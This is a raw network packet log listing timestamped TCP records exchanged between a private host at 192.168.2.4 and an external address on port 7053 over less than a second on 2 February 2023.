Feb 2, 2023 08:11:30.179941893 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.180047989 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.180098057 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.180219889 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.180233002 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.180327892 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.208935022 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209039927 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209126949 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209207058 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209260941 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209321976 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209363937 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209431887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209434032 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209517956 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209536076 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209537983 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209579945 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209598064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.209640026 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209671021 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.209695101 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.236810923 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.236891985 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.236952066 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237010956 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237054110 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237137079 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237171888 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237267971 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237380981 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237474918 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237492085 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237621069 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237663984 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237735033 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237788916 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237870932 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.237931013 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.237988949 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.238137960 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.238174915 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.238233089 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.238331079 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.238368988 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.238451004 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.238719940 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.238802910 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.238837004 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.238876104 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.238933086 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.239008904 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288074970 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288121939 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288141966 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288161039 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288177967 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288204908 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288223982 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288240910 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288266897 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288291931 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288319111 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288346052 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288371086 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288387060 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288403988 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288415909 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288422108 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288439989 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288459063 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288486958 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288516045 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288535118 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288542986 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288570881 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288597107 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288610935 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288624048 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288654089 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288665056 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288681030 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288706064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288717031 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288731098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288757086 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288774967 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.288779020 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288855076 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.288970947 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289014101 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289061069 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289093018 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289093018 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289093018 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289119959 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289158106 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.289236069 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.316196918 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.316359997 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.316371918 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.316471100 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.316813946 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.316917896 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.316936016 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.316991091 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.317229986 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.317348003 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.317594051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.317708015 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.318048000 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.318150997 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.318193913 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.318264961 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.318587065 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.318609953 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.318701982 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.318742990 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.318891048 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.318962097 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.319295883 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.319391966 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.319745064 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.320249081 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.320321083 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.320485115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.320943117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.321283102 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.323666096 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.323693991 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.323874950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.323909044 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324302912 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324320078 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324333906 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324347019 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324362040 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324376106 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324390888 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324506998 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324712038 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324731112 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324811935 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.324872971 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.325129986 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.326241970 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.326396942 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.326884985 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.327060938 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.327132940 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.327152967 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348638058 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348671913 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348689079 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348707914 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348726988 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348746061 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348764896 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348783970 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348803997 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348822117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348839998 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348859072 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348876953 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348893881 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348912954 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348928928 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348946095 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348964930 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.348984003 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.349003077 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.349020958 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.349039078 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.349059105 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.349078894 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.542861938 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.547828913 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.576735973 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.577678919 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.577805042 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.577863932 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.577938080 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.577989101 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578048944 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578145981 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578145981 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578222990 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578282118 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578346014 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578399897 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578481913 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578532934 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578591108 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578658104 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578725100 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578790903 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578864098 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578934908 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.578989029 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.579041004 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.579097033 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.579112053 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.605796099 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.605943918 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.605974913 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606000900 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606038094 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.606093884 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606097937 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.606206894 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.606358051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606457949 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.606463909 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606542110 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.606573105 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606631041 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.606656075 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.606708050 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.607727051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.607842922 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.607954979 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.608061075 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.608127117 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.608212948 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.608602047 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.608712912 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.608827114 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.608927011 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.609673977 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.609791040 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.609805107 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.609890938 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.610001087 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.610069036 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.610194921 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.610378981 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.610517025 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.610707045 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.610888958 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.611066103 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.611198902 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.611788034 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.612970114 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.613125086 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.613698006 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.614795923 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.615783930 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.616743088 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.618031025 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.618742943 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.619741917 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.620722055 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.621649027 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.621674061 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.621695995 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.621715069 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.621732950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.622476101 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.622495890 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.622514009 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.622662067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.623574972 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.623604059 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.623621941 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.623743057 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.623850107 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.624205112 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.624223948 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.624418974 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.624552965 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.624650002 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.624896049 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.625219107 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.625711918 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.626756907 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.629511118 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.629751921 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.629811049 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.630538940 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.631511927 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.631545067 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.631563902 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.634794950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.634818077 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.634850025 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.634864092 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.634934902 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.634951115 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635008097 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635044098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635087967 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635083914 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.635178089 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.635205030 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635278940 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.635353088 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.635416985 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.635544062 CET	49697	7053	192.168.2.4	194.26.192.248
Feb 2, 2023 08:11:30.635699034 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635795116 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635838985 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635874987 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635890007 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635905981 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635921001 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635936022 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635973930 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.635987997 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636712074 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636769056 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636804104 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636843920 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636879921 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636894941 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636909962 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636924982 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.636981010 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637061119 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637767076 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637788057 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637799978 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637811899 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637833118 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637851000 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637870073 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637888908 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.637908936 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638098955 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638722897 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638739109 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638817072 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.638870955 CET	7053	49697	194.26.192.248	192.168.2.4
